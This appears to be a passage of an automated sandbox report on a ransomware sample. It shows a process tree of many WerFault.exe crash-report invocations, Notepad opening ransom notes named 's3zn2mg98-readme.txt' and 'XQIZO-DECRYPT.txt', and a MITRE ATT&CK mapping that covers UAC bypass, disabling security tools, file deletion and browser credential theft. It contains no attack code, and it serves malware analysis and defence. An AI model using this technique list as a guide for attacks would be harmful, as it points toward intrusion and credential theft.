C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 188 -p 1868 -ip 1868
1⤵
PID:9620

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 17724 -ip 17724
1⤵
PID:17800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 9640 -ip 9640
1⤵
PID:18396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 712 -p 18404 -ip 18404
1⤵
PID:18888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 18632 -ip 18632
1⤵
PID:14108

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 8308 -ip 8308
1⤵
PID:19864

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 20008 -ip 20008
1⤵
PID:20088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 624 -p 916 -ip 916
1⤵
PID:19880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 19864 -ip 19864
1⤵
PID:1368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 20980 -ip 20980
1⤵
PID:21020

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 20684 -ip 20684
1⤵
PID:20852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 19752 -ip 19752
1⤵
PID:12488

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 21704 -ip 21704
1⤵
PID:21780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 22308 -ip 22308
1⤵
PID:22380

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 21708 -ip 21708
1⤵
PID:4912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 23284 -ip 23284
1⤵
PID:22884

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 724 -p 9640 -ip 9640
1⤵
PID:23368

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 21744 -ip 21744
1⤵
PID:23136

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 8308 -ip 8308
1⤵
PID:11912

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 5096 -ip 5096
1⤵
PID:1612

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 23264 -ip 23264
1⤵
PID:23308

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 24020 -ip 24020
1⤵
PID:24084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 23968 -ip 23968
1⤵
PID:24088

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 8308 -ip 8308
1⤵
PID:27932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 12164 -ip 12164
1⤵
PID:28008

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 28404 -ip 28404
1⤵
PID:28496

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 8308 -ip 8308
1⤵
PID:23040

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\s3zn2mg98-readme.txt
1⤵
PID:25084

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 24996 -ip 24996
1⤵
PID:24816

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 26340 -ip 26340
1⤵
PID:27708

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 660 -p 26156 -ip 26156
1⤵
PID:27180

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 27904 -ip 27904
1⤵
PID:25404

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 26476 -ip 26476
1⤵
PID:25648

C:\Windows\system32\NOTEPAD.EXE
"C:\Windows\system32\NOTEPAD.EXE" C:\Users\Public\Desktop\XQIZO-DECRYPT.txt
1⤵
PID:27200

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 26664 -ip 26664
1⤵
PID:8140

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 616 -p 26092 -ip 26092
1⤵
PID:25584

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 9640 -ip 9640
1⤵
PID:8528

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 9640 -ip 9640
1⤵
PID:26044

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 23476 -ip 23476
1⤵
PID:4516

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 416 -p 9640 -ip 9640
1⤵
PID:27176

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 25020 -ip 25020
1⤵
PID:25676

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 29328 -ip 29328
1⤵
PID:29396

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 29012 -ip 29012
1⤵
PID:29192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 28836 -ip 28836
1⤵
PID:28800

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 30104 -ip 30104
1⤵
PID:30196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 29856 -ip 29856
1⤵
PID:30052

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 30284 -ip 30284
1⤵
PID:30640

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 31156 -ip 31156
1⤵
PID:31228

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 30008 -ip 30008
1⤵
PID:30880

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 30724 -ip 30724
1⤵
PID:31468

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 592 -p 32068 -ip 32068
1⤵
PID:32144

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 32624 -ip 32624
1⤵
PID:32700

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 32236 -ip 32236
1⤵
PID:32696

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 684 -p 32692 -ip 32692
1⤵
PID:32776

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 33240 -ip 33240
1⤵
PID:33300

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 33740 -ip 33740
1⤵
PID:32780

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 620 -p 32524 -ip 32524
1⤵
PID:32868

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 33800 -ip 33800
1⤵
PID:33848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 34276 -ip 34276
1⤵
PID:34328

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 32524 -ip 32524
1⤵
PID:33988

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 34012 -ip 34012
1⤵
PID:34192

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 34936 -ip 34936
1⤵
PID:34992

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 35548 -ip 35548
1⤵
PID:35592

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 35176 -ip 35176
1⤵
PID:35320

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 35052 -ip 35052
1⤵
PID:35536

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 36044 -ip 36044
1⤵
PID:36096

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 36516 -ip 36516
1⤵
PID:36596

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 36452 -ip 36452
1⤵
PID:36576

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 36836 -ip 36836
1⤵
PID:36688

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 37248 -ip 37248
1⤵
PID:37340

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 576 -p 37716 -ip 37716
1⤵
PID:37824

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 512 -p 37396 -ip 37396
1⤵
PID:37316

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 36964 -ip 36964
1⤵
PID:37848

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 38056 -ip 38056
1⤵
PID:38132

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 38564 -ip 38564
1⤵
PID:38604

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 38136 -ip 38136
1⤵
PID:38388

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 38612 -ip 38612
1⤵
PID:37932

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 39080 -ip 39080
1⤵
PID:39120

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 39576 -ip 39576
1⤵
PID:39644

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 39280 -ip 39280
1⤵
PID:39416

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 39392 -ip 39392
1⤵
PID:39128

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 772 -p 39956 -ip 39956
1⤵
PID:40004

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 40392 -ip 40392
1⤵
PID:40444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 608 -p 40804 -ip 40804
1⤵
PID:40860

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 40360 -ip 40360
1⤵
PID:40444

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 40588 -ip 40588
1⤵
PID:40296

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 716 -p 40740 -ip 40740
1⤵
PID:41032

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 41468 -ip 41468
1⤵
PID:41508

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 788 -p 41880 -ip 41880
1⤵
PID:41960

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 488 -p 41720 -ip 41720
1⤵
PID:41888

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 41748 -ip 41748
1⤵
PID:40472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Windows Credential Manager

T1555.004

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Network Service Discovery

T1046

Peripheral Device Discovery

T1120

Query Registry

System Information Discovery